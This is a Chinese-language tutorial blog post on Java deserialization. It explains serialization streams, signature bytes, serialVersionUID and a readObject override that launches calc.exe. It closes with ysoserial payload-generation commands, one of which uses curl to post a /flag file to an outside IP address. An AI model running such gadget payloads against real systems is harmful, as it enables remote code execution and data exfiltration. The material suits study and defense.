title: JAVA反序列化基础date: 2022/3/10 20:46:25
categories: JAVA安全
tags: JAVA安全

原理:

序列化是将对象转化位字节流,其目的是便于对象在内存,文件,数据库或者网络之间传递,存储。以后就可以从存储区读取序列化后的值再将期反序列化还原对象状态,创建对象。

反序列化则是序列化的逆过程,即将字节流转换为对象的过程,通常是程序将内存,文件,数据库或者网络传递的字节流还原成对象。在java原生的API中,序列化过程由ObjectOutputStream类的writeObject()方法实现。将字节流还原成对象的过程都可以称为反序列化。

ObjectOutputStream类的writeObject()方法实现,能够被序列化的类必须要实现Serializable接口或者Externalizable接口。Serializable接口是一个标记接口,其中不包含任何方法。Externalizable接口是Serializable子类,其中包含writeExternal()和readExternal()方法,分别在序列化和饭序列化时候自动调用

函数接口类:

Java: Serializable Externalizable接口、fastjson、jackson、gson

PHP: serialize()、 unserialize()

Python:pickle

JAVAWEB特征可以作为序列化的标志参考

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么他就是这一段java序列化的16进制。

ObjectOutputStream类

java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。

序列化操作

一个对象要想序列化,必须满足两个条件: 该类必须实现 java.io.Serializable 接口, Serializable 是一个标记接口,不实现此接口的类将不会 使任 何状态序列化或反序列化,会抛出 NotSerializableException 。

该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的,则该属性必须注明是瞬态 的,使用 transient 关键字修饰。

示例:

Yh.java

  1. package Yh;
  2. public class Yh implements java.io.Serializable{
  3. public String name;
  4. public String address;
  5. public transient int age; //transient瞬态修饰成员,不会被序列化
  6. public void addressCheck(){
  7. System.out.println("Address check:"+name+"----"+address);
  8. }
  9. }

SerializeDemo.java

  1. public class SerializeDemo{
  2. public static void main(String[] args) throws IOException{
  3. Yh y= new Yh();
  4. y.name="yiheng";
  5. y.address="asd";
  6. y.age=43;
  7. //创建序列化流
  8. ObjectOutputStream outfile=new ObjectOutputStream(new FileOutputStream("ser.txt"));
  9. //写出对象
  10. outfile.writeObject(e);
  11. //释放资源
  12. outfile.close();
  13. }
  14. }

将Yh对象写入ser.txt中
JAVA反序列化基础 - 图1

开头的 AC ED 00 05 为序列化内容的特征

ObjectInputStream类

如果能找到一个对象的class文件,那么我们就可以进行反序列化操作,调用ObjectInputStream读取对象的方法:

UnSerialize.java

  1. package unserialize;
  2. public class UnSerialize {
  3. public static void main(String[] args) throws IOException,ClassNotFoundException{
  4. //创建反序列化流
  5. FileInputStream fileinput=new FileInputStream("ser.txt");
  6. ObjectInputStream input=new ObjectInputStream(fileinput);
  7. //使用ObjectInputStream中的readObject读取一个对象
  8. Object o=input.readObject();
  9. //释放资源
  10. input.close();
  11. System.out.println(o);
  12. }
  13. }

反序列化漏洞的基本原理

在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法被重写不当时产生漏洞。

  1. package cx;
  2. import java.io.*;
  3. public class demon {
  4. public static void main(String args[]) throws Exception{
  5. //序列化
  6. //定义myObj对象
  7. MyObject myObj = new MyObject();
  8. myObj.name = "hi";
  9. //创建一个包含对象进行反序列化信息的”object”数据文件
  10. ObjectOutputStream os = new ObjectOutputStream(new
  11. FileOutputStream("object"));
  12. //writeObject()方法将myObj对象写入object文件
  13. os.writeObject(myObj);
  14. os.close();
  15. //反序列化
  16. //从文件中反序列化obj对象
  17. ObjectInputStream ois = new ObjectInputStream(new
  18. FileInputStream("object"));
  19. //恢复对象
  20. MyObject objectFromDisk = (MyObject)ois.readObject();
  21. System.out.println(objectFromDisk.name);
  22. ois.close();
  23. }
  24. static class MyObject implements Serializable {
  25. public String name;
  26. //重写readObject()方法
  27. private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
  28. //执行默认的readObject()方法
  29. in.defaultReadObject();
  30. //执行打开计算器程序命令
  31. Runtime.getRuntime().exec("calc.exe");
  32. }
  33. }
  34. }

此处重写了readObject方法,执行Runtime.getRuntime().exec()
defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法

此代码执行流程:

1.myObj 对象序列化进object文件。

2.从object反序列化对象-》调用readObject方法-》执行Runtime.getRuntime().exec()

java类中serialVersionUID的作用

serialVersionUID适用于java序列化机制。简单来说,JAVA序列化的机制是通过 判断类的 serialVersionUID来验证的版本一致的。在进行反序列化时,JVM会把传来的字节流中的 serialVersionUID与本地相应实体类的serialVersionUID进行比较。如果相同说明是一致的,可以进行反 序列化,否则会出现反序列化版本一致的异常,即是InvalidCastException。

serialVersionUID有两种显示的生成方式

一是 默认的1L,比如:private static final long serialVersionUID = 1L;

默认的版本

二是根据包名,类名,继承关系,非私有的方法和属性,以及参数,返回值等诸多因子计算得出的,极 度复杂生成的一个64位的哈希字段。基本上计算出来的这个值是唯一的。比如:private static final long serialVersionUID = xxxxL; 注意:显示声明serialVersionUID可以避免对象不一致,

设置自动生存uid

使用ysoserial

当ysoserial不能支持参考:其他引用生成:https://xz.aliyun.com/t/2042

配合jar包生成payload

前提知道对方引入库文件jar包或者使用单点利用工具

把已知jar包hibernate-core-5.4.9.Final.jar copy到当前ysoserial目录

java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 “calc.exe” > x.bin

SerializationDumper解析数据 java反序列化字节转字符串工具

利用ysoserial进行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://212.129.155.138:4444/ -d @/flag” > flag.bin